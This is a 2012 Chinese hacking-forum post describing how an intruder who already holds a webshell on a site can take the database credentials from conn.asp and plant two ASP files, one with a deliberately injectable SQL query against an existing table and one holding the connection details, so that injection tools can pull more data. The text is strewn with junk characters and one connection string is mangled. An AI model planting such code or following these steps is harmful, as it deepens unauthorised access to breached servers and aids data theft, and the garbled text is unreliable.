找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2146|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵: R4 X* w9 O1 @
* P8 u  U3 {) a: X4 B: D: l; h: H
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
- \) s# r: M$ m$ K3 K: r. ~7 q" {1 ^2 s" p
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!& L7 V4 f* l3 W
0 B) k$ [5 c5 d+ A" s) J" s. ~: d( l
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
$ `" m9 }" ]1 `3 O
+ i! b0 R+ c! F0 Y/ n密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
# f4 j) x( P0 |  ~$ [& ]8 [7 `. t, k8 g; e
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:( \8 f: U5 a" P2 g( F& S# f
! a( d  s" H) E% H5 H. P% A
程序代码/ d/ d. K+ Y  _+ v) Z! w
<!--#include file="xx.asp"-->% n; M- n: i/ s; {
<%
0 M6 U- r1 }, k- ~8 E3 r$ G: iset rs=server.createobject("ADODB.recordset")
) p* p2 a* o% {+ Xid = request("id")
5 o( D2 H  \7 U$ H+ J9 ustrSQL = "select * from admin where id=" & id
6 |. Z# D: J/ w6 `7 c7 p+ ?# j; ors.open strSQL,conn,1,3
6 S( R' q, _7 I7 r9 Z1 ^& brs.close
4 p3 u3 f8 v' X$ O+ l) {%>
9 K1 F, A/ V" J- @% c7 h% o( m. ~* [9 q$ V6 s7 O8 y4 O! Y
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
8 a, c" ^: c: I" w1 ]7 r% v: H! D7 |# K/ L& |
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
, f- ?& ~; H* }$ K5 ]0 `4 O  N+ \
: B+ Z2 K( O! a: w3 a8 u) I( p* `) H然后就要构造一个连接数据库的文件了,代码如下:7 x  T" }( l  C3 O" o& z8 u
程序代码
* i+ w- [# p- t3 B3 o& n<%        
6 G7 l1 L: @7 u& b2 \5 Z, H& FstrSQLServerName = "000.000.000.000"     '服务器名称或地址
2 W) v% ~$ m9 ?5 n: W* I/ [7 u- q* ~strSQLDBUserName = "sqlname"         '数据库帐号) ~  x6 q- q. O& m6 [  q
strSQLDBPassword = "sqlpass"         '数据库密码
) O, ~- V0 {7 }$ F" L9 [; t6 GstrSQLDBName = "sqldataname"           '数据库名称# g5 s, W) u- N
Set conn = Server.CreateObject("ADODB.Connection")
  H, x+ P1 b7 `( p0 C% i& NstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
1 x: a$ m7 z7 u6 s' F9 ~& mconn.open strCon
9 X; T$ t. X1 W9 d. E/ s7 Q4 F%>
/ d& h: l2 K3 W7 j% p6 m2 e" W
" v3 V' l1 P% ~8 H3 p( o这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
2 W5 |  j, ~8 \3 _' ], o1 K8 y
- F; `+ q/ @8 c" `- M$ |就这样,正常情况下,就OK了,伪造成功……6 E4 G5 U9 z8 b+ ~: B

3 w9 J9 K! [) p. U4 Q           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表